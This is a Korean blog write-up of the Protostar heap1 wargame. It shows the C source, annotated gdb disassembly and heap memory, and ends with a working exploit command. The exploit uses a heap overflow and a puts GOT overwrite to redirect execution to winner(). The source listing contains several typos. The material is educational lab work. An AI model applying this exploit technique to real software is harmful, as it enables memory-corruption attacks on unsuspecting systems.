eprotostar heap1

시스템 2025. 1. 31. 18:35
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys.types.h>

struct internet {
	
	int priority;
	char *name;
};

void winner() 
{
	printff("and we have a winner @ %d \n", time(NULL));
}

int main(int argc, char **argv)
{
	struct internet *i1, *i2, *i3;
	
	i1 = malloc(sizeof(struct internet));
	i1 -> priority = 1;
	i1 -> name = malloc(8);
	
	i2 = malloc(sizeof(struct internet));
	i2 -> priority = 2;
	i2 -> name = malloc(8);
	
	strcpy(i1 -> name, argv[1]);
	strcpy(i2 -> name, argv[2]);
	
	printf("and that's a wrap forlks! \n");
	
}

https://blog.naver.com/seongjin0526/221339631441

 

exploit-exercises protostar heap1

user@protostar:/opt/protostar/bin$ gdb -q heap1 (gdb) info func All defined functions: File heap1/...

blog.naver.com

(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>: push   %ebp
0x080484ba <main+1>: mov    %esp,%ebp
0x080484bc <main+3>: and    $0xfffffff0,%esp
0x080484bf <main+6>: sub    $0x20,%esp
0x080484c2 <main+9>: movl   $0x8,(%esp)
0x080484c9 <main+16>: call   0x80483bc <malloc@plt>
0x080484ce <main+21>: mov    %eax,0x14(%esp) // esp+0x14 = 할당 1
0x080484d2 <main+25>: mov    0x14(%esp),%eax
0x080484d6 <main+29>: movl   $0x1,(%eax) // 할당 1 = 1
0x080484dc <main+35>: movl   $0x8,(%esp)
0x080484e3 <main+42>: call   0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov    %eax,%edx // edx = 할당 2
0x080484ea <main+49>: mov    0x14(%esp),%eax
0x080484ee <main+53>: mov    %edx,0x4(%eax) // (esp+0x14)+4 = 할당 2
0x080484f1 <main+56>: movl   $0x8,(%esp)
0x080484f8 <main+63>: call   0x80483bc <malloc@plt>
0x080484fd <main+68>: mov    %eax,0x18(%esp) // esp+0x18  = 할당 3
0x08048501 <main+72>: mov    0x18(%esp),%eax
0x08048505 <main+76>: movl   $0x2,(%eax) // 할당 3 = 2
0x0804850b <main+82>: movl   $0x8,(%esp) 
0x08048512 <main+89>: call   0x80483bc <malloc@plt>
0x08048517 <main+94>: mov    %eax,%edx
0x08048519 <main+96>: mov    0x18(%esp),%eax
0x0804851d <main+100>: mov    %edx,0x4(%eax) // (esp+0x18)+4 = 할당 4
// 할당1(1, 할당2) | 할당3(2, 할당4) => 할당 1안에 할당2가 존재, 할당 3안에 할당4가 존재 약간 리스트 같이 구조체안에 영역이 있는 것 같은 형식이다.
// 할당 1이 8바이트이고 할당 1+4에 또 8바이트인데다 할당 1+0가 1이 들어가니
// 할당 1은 구조체이고 구조체 구조는
// int(or long) , *pointer 이렇게 두개의 변수로 구성된것을 알 수 있다.
0x08048520 <main+103>: mov    0xc(%ebp),%eax // argv0
0x08048523 <main+106>: add    $0x4,%eax // argv1
0x08048526 <main+109>: mov    (%eax),%eax
0x08048528 <main+111>: mov    %eax,%edx // 
0x0804852a <main+113>: mov    0x14(%esp),%eax // 할당 1 불러옴
0x0804852e <main+117>: mov    0x4(%eax),%eax // (할당 1)+4 불러옴
0x08048531 <main+120>: mov    %edx,0x4(%esp) // 
0x08048535 <main+124>: mov    %eax,(%esp) // argv1
0x08048538 <main+127>: call   0x804838c <strcpy@plt> 
// argv1의 값을 (할당 1)+4에 복사한다.

0x0804853d <main+132>: mov    0xc(%ebp),%eax
0x08048540 <main+135>: add    $0x8,%eax // argv2
0x08048543 <main+138>: mov    (%eax),%eax
0x08048545 <main+140>: mov    %eax,%edx
0x08048547 <main+142>: mov    0x18(%esp),%eax // 할당 3 불러옴
0x0804854b <main+146>: mov    0x4(%eax),%eax // (할당 3)+4 부분 불러옴
0x0804854e <main+149>: mov    %edx,0x4(%esp) // 
0x08048552 <main+153>: mov    %eax,(%esp) // argv2
0x08048555 <main+156>: call   0x804838c <strcpy@plt> 

// argv2의 값을 (할당2)+4에 복사한다.
// => argv1의 값을 복사할때 overflow를 일으켜서 (할당3)의 영역에서 +4의 주소를 변경시킬 수 있다면
//    두번째 strcpy를 통해서 원하는 지점의 값을 argv2를 통해 변조할 수 있게 된다. 
//    (할당3)+4의 주소를 stack의 ret으로 변조하여 ret의 값을 winner 함수로 변경시켜 함수 종료시 winner 함수를 호출하는 방법과
//    (할당3)+4의 주소를 puts의 GOT로 변조하여 GOT를 winner 함수로 변경시키는 GOT Overwrite 방법이 있다.
//    필자는 후자의 방법으로 진행한다. (소스코드에는 printf로 되어있는데 왜 asm에는 puts지....)

0x0804855a <main+161>: movl   $0x804864b,(%esp) //
0x08048561 <main+168>: call   0x80483cc <puts@plt> // GOT Overwrite를 통해 winner 함수를 호출할 수 있는 이유임.
// strcpy를 통해 덮어쓰여진 후 호출되기 때문. 

0x08048566 <main+173>: leave  
0x08048567 <main+174>: ret    
End of assembler dump.

(gdb) disas winner
Dump of assembler code for function winner:
0x08048494 <winner+0>: push   %ebp
0x08048495 <winner+1>: mov    %esp,%ebp
0x08048497 <winner+3>: sub    $0x18,%esp
0x0804849a <winner+6>: movl   $0x0,(%esp)
0x080484a1 <winner+13>: call   0x80483ac <time@plt>
0x080484a6 <winner+18>: mov    $0x8048630,%edx
0x080484ab <winner+23>: mov    %eax,0x4(%esp)
0x080484af <winner+27>: mov    %edx,(%esp)
0x080484b2 <winner+30>: call   0x804839c <printf@plt>
0x080484b7 <winner+35>: leave  
0x080484b8 <winner+36>: ret    
End of assembler dump.

Start Addr 0x804a000 => heap 

r AAAA BBBB 로 수정하여 위치 재확인

0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018  <= ABCD를 가리킴 
0x804a010: 0x00000000 0x00000011 0x44434241 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038  <= (할당 2)+4의 주소
// (할당 2)+4를 puts@GOT로 덮으면 되는데 ABCD에서 20byte 떨어져있으므로 "A"*20+puts@GOT 를 argv1로 주면 될듯
// argv2는 winner 주소로 넣으면 puts@GOT를 winner로 덮어씌울 수 있음.

/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'
                                                   puts@GOT + winner (0x08048494)

 



'시스템' 카테고리의 다른 글

protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
블로그 이미지

wtdsoul

,